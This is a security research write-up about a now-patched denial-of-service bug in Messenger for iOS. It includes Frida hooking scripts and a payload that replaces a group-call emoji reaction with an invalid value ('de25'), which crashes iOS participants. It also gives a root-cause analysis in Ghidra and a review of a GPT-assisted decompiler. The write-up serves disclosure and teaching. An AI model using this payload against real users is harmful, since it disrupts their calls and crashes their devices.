Messenger Group Call DoS for iOS
Messenger is used by hundreds of millions of people globally, and as of December 2023, it has adopted end-to-end encryption (E2EE) by default for chats and calls. However, when a group chat is created, it initially does not use E2EE. Interestingly, non-E2EE groups have access to certain features that are unavailable in their E2EE counterparts. One such feature, highlighted in this write-up, is the ability to send emoji reactions within group calls.
This write-up aims to illustrate the process of discovering a denial-of-service (DoS) bug that affects Messenger for iOS. The bug was originally identified in version 472.0.0, while the analysis was conducted on version 477.0.0 using an archived copy of the Messenger .ipa file installed via TrollStore. This issue has since been patched and is not present in the latest version of Messenger for iOS. However, installing older versions of Messenger can allow you to reproduce the bug.
Group Call Emoji Reactions
The ability to send emoji reactions in group calls is demonstrated in the GIF below. As shown, users can add a reaction to the video stream, which is displayed to the recipient in the top right corner.
A question we might ask ourselves is, “How are these emojis transferred to the recipient’s device?”. Through reverse engineering the Messenger APK with JADX and performing dynamic analysis with Frida (a detailed explanation of that process is beyond the scope of this write-up), it was discovered that two classes are responsible for sending emoji reactions:
com.facebook.rsys.reactions.gen.SendEmojiInputModel
com.facebook.rsys.reactions.gen.ReactionsApi$CProxy
More specifically, the ReactionApi$CProxy
class contains the sendEmoji(SendEmojiInputModel emoji)
method, which is used to send an instance of the SendEmojiInputModel
class. Using Frida, we can intercept calls to this function and extract the value of the emoji. The script to accomplish this is as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import frida
import sys
'''
* Requires an Android device running frida-server - Create a non-encrypted group call.
* React in the call with any emoji
* Note: Replace 'emulator-5554' with device serial number if not using emulator
'''
FRIDA_SCRIPT = """
var classFactory;
const classLoaders = Java.enumerateClassLoadersSync();
let SendEmojiInputModel = null;
let CProxy = null;
var CProxyInstance = null;
// Search all class loaders for SendEmojiInputModel and
// ReactionsApi$CProxy classes
for (const classLoader in classLoaders) {
try {
classLoaders[classLoader].findClass("com.facebook.rsys.reactions.gen.SendEmojiInputModel");
classLoaders[classLoader].findClass("com.facebook.rsys.reactions.gen.ReactionsApi$CProxy");
classFactory = Java.ClassFactory.get(classLoaders[classLoader]);
SendEmojiInputModel = classFactory.use("com.facebook.rsys.reactions.gen.SendEmojiInputModel");
CProxy = classFactory.use("com.facebook.rsys.reactions.gen.ReactionsApi$CProxy");
console.log('[+] Found SendEmojiInputModel Class - continue to send Emoji reaction.');
break;
} catch (e) {
// console.log( e);
continue;
}
}
CProxy["sendEmoji"].implementation = function (emoji) {
console.log('[+] Sending emoji reaction with value: ' + emoji.emojiId.value);
this["sendEmoji"](emoji);
};
"""
#replace 9B071FFAZ008YV with device id running frida
session = frida.get_device("emulator-5554").attach("Messenger")
script = session.create_script(FRIDA_SCRIPT)
def on_message(message, data):
if('payload' in message):
print(message['payload'])
else:
print(message)
script.on('message', on_message)
script.load()
sys.stdin.read()
When we execute this script, we discover that the data being sent to the recipient is a string containing a hexadecimal representation of the emoji.
1
2
3
(env) dev@Mac-mini emoji % python3 emoji_poc.py
[+] Found SendEmojiInputModel Class - continue to send Emoji reaction.
[+] Sending emoji reaction with value: '1f621'
Invalid Reactions - DoS Bug
Next, we should ask ourselves, “What happens when we send a string that does not represent an emoji?”. To explore this, we modify the Frida script to change the string to a value that does not correspond to any valid emoji—such as de25
, or as shown in the video below, F_fe0fACE_WITH_COLON_THREE
.
Note that the true explanation of what this string represents is slightly more nuanced. It is a value defined in Meta’s “EmoticonsList” and has been enumerated here. However, for simplicity, it can be thought of as a hexadecimal representation of a Unicode character.
Adding the following lines above the this["sendEmoji"](emoji)
call in the previously shown script replaces the emoji with an invalid input:
1
2
var payload = 'de25';
emoji.emojiId.value = payload;
Using this new script to adjust the input, we send an emoji reaction in a group call and observe its effects on the iOS participant.
In the video, we see that the iOS participant’s Messenger app crashes. Using the console provided by Xcode, we observe the following log statement.
1
2
3
4
5
*** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[__NSCFString appendString:]: nil argument'
*** First throw call stack:
(0x180d07d0c 0x1984f8ee4 0x180e026a8 0x180da4374 0x180c90eb8 0x11cfcd628 0x103cd8c34 0x11d03de54 0x11c191b08 0x11b91b428 0x11b935708 0x11b93e6a4 0x11b93e5e4 0x180cb2988 0x180ce61a8 0x11b93dd6c 0x11b91c4b0 0x11b920e18 0x11b920de8 0x1026f2910 0x1026f28c4 0x1823f5cc8 0x180cb382c 0x180c84a64 0x180c7fec4 0x180c93240 0x1a1763988 0x18349341c 0x18322cb88 0x102248590 0x1024743d0)
While this bug does not provide any remote memory corruption primitives that could enable RCE, it does cause a denial of service (DoS) for all iOS group call attendees. Note that while the sending Android device also crashes, this issue is limited to the sending device and does not affect any Android recipients. Next, let’s examine the stack trace and identify the root cause of the bug.
Root Cause Analysis
The stack trace included in the exception is our first point of investigation for root cause analysis. Initially, the stack trace does not include the module associated with the address. Using Frida, we can enumerate all modules loaded into the Messenger process and map these addresses ourselves. It’s important to perform this step before triggering the bug, as Address Space Layout Randomization (ASLR) shifts the base addresses.
- First, enumerate all the modules and save them to disk using the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# python3 ./enumerate.py > modules.json
import frida
import sys
FRIDA_SCRIPT = """
send(Process.enumerateModules());
"""
session = frida.get_device("<iOS UUID>").attach("Messenger")
script = session.create_script(FRIDA_SCRIPT)
def on_message(message, data):
if('payload' in message):
print(message['payload'])
else:
print(message)
script.on('message', on_message)
script.load()
sys.stdin.read()
- Then, execute the following script, which includes our stack trace:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# python3 ./find.py
import json
trace = [0x181f5fd0c,0x199750ee4,0x18205a6a8,0x181ffc374,0x181ee8eb8,0x11a8c5628,0x10424cc34,0x11a935e54,0x119a89b08,0x119213428,0x11922d708,0x1192366a4,0x1192365e4,0x181f0a988,0x181f3e1a8,0x119235d6c,0x1192144b0,0x119218e18,0x119218de8,0x102c66910,0x102c668c4,0x18364dcc8,0x181f0b82c,0x181edca64,0x181ed7ec4,0x181eeb240,0x1a29bb988,0x1846eb41c,0x184484b88,0x10275c590,0x102ac03d0]
# Open and read the JSON file
with open('modules.json', 'r') as file:
modules = json.load(file)
for i, address in enumerate(trace):
for module in modules:
module_base = int(module['base'], base=16)
module_end = module_base + int(module['size'])
if address >= module_base and address <= module_end:
print('['+str(i)+'] address: ' + hex(address) + ' module: '+ module['name'] +' base: ' + module['base'])
- Finally, we have a stack trace that associates the addresses with the various frameworks and libraries from the process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[0] address: 0x181f5fd0c module: CoreFoundation base: 0x181ecd000
[1] address: 0x199750ee4 module: libobjc.A.dylib base: 0x19973c000
[2] address: 0x18205a6a8 module: CoreFoundation base: 0x181ecd000
[3] address: 0x181ffc374 module: CoreFoundation base: 0x181ecd000
[4] address: 0x181ee8eb8 module: CoreFoundation base: 0x181ecd000
//Notable as the last call to a Messenger framework and associated with RTC functionality.
[5] address: 0x11a8c5628 module: RTCAndSpark base: 0x118f30000
[6] address: 0x10424cc34 module: LightSpeedCore base: 0x102b4c000
[7] address: 0x11a935e54 module: RTCAndSpark base: 0x118f30000
[8] address: 0x119a89b08 module: RTCAndSpark base: 0x118f30000
[9] address: 0x119213428 module: RTCAndSpark base: 0x118f30000
[10] address: 0x11922d708 module: RTCAndSpark base: 0x118f30000
[11] address: 0x1192366a4 module: RTCAndSpark base: 0x118f30000
[12] address: 0x1192365e4 module: RTCAndSpark base: 0x118f30000
[13] address: 0x181f0a988 module: CoreFoundation base: 0x181ecd000
[14] address: 0x181f3e1a8 module: CoreFoundation base: 0x181ecd000
[15] address: 0x119235d6c module: RTCAndSpark base: 0x118f30000
[16] address: 0x1192144b0 module: RTCAndSpark base: 0x118f30000
[17] address: 0x119218e18 module: RTCAndSpark base: 0x118f30000
[18] address: 0x119218de8 module: RTCAndSpark base: 0x118f30000
[19] address: 0x102c66910 module: LightSpeedCore base: 0x102b4c000
[20] address: 0x102c668c4 module: LightSpeedCore base: 0x102b4c000
[21] address: 0x18364dcc8 module: Foundation base: 0x1835e1000
[22] address: 0x181f0b82c module: CoreFoundation base: 0x181ecd000
[23] address: 0x181edca64 module: CoreFoundation base: 0x181ecd000
[24] address: 0x181ed7ec4 module: CoreFoundation base: 0x181ecd000
[25] address: 0x181eeb240 module: CoreFoundation base: 0x181ecd000
[26] address: 0x1a29bb988 module: GraphicsServices base: 0x1a29ba000
[27] address: 0x1846eb41c module: UIKitCore base: 0x184206000
[28] address: 0x184484b88 module: UIKitCore base: 0x184206000
[29] address: 0x10275c590 module: Messenger base: 0x102758000
[30] address: 0x102ac03d0 module: dyld base: 0x102aa8000
Let’s examine the last call to a Messenger framework, which is #5 in the stack trace. Using the base address and some arithmetic, we determine that we should investigate offset 0x1995628
within the RTCAndSpark
binary. To obtain this binary, we follow the process documented here to extract the Messenger .ipa file and load it into Ghidra using batch mode.
Once Ghidra processes the nested files, we decompile and analyze the RTCAndSpark
binary. Knowing that 0x1995628
was the next instruction to execute before the crash, we observe that the previous instruction made a call to appendString
, identifying it as the location of the bug.
It appears the issue stems from a lack of validation to ensure that the input passed to appendString
is not null. The input value is associated with a call to strtol
, which converts the original emoji hex string into a long.
Upon reviewing the RTCAndSpark
binary after the bug was reported and patched, we observe that the return value from strtol
is now validated, and the appendString
call is only executed if the value is non-zero. This update effectively resolves the DoS bug in Messenger for iOS by allowing invalid reactions to be silently handled.
Malimite - GPT Powered Analysis
At the 7th edition of Objective by the Sea, a conference dedicated to macOS and iOS security, Laurie Wired introduced a new iOS decompilation tool called Malimite (available here).
Among its many features, one that particularly stood out to me was its ability to interface with GPT to improve the legibility of Ghidra’s decompiled Objective-C code. Always looking for ways to incorporate AI into my workflow, I saw this iOS-specific bug as a perfect opportunity to put the tool through its paces.
I first loaded the vulnerable version of Messenger and was greeted by the info.plist
file, which contained all the entitlements and various other properties.
I could also then easily navigate to and review the info.plist
associated with the RTCAndSpark
framework, the framework containing the vulnerable function.
Using the Classes
menu, I selected an obfuscated function that I thought was sufficiently complex and written in Objective-C. With the Function Assist feature, I was able to send the Ghidra output to GPT-4 (using a built-in prompt defined in Malimite), which resulted in the following:
The GPT-4 analysis worked quite well in making the code more legible, properly constructing allocations for both NSMutableDictionary
and FileUploadAttachment
. Unfortunately, the calls to _objc_msgSend(...)
are wrapped in Messenger, which hindered the analysis.
Fortunately, you can edit the function to collapse these wrappers before sending it off to GPT-4, which improved the analysis results. Although I couldn’t find the obfuscated vulnerable functions within RTCAndSpark
directly within Malimite, I was able to replace the contents of a donor function with the Ghidra output and send that off to GPT-4 for analysis.
I was pleased with the GPT-4 output given the patched code. It clearly illustrated that there was a string being constructed from the emoji’s hex representation and that the call to appendString
only occurred after the output of strtol
had been validated.
All in all, I believe this tool represents an excellent starting point for something akin to JADX, as it’s purpose-built for analyzing .ipa files. The integration of GPT from the outset will set the tone for the project, and I look forward to seeing how it evolves within the community.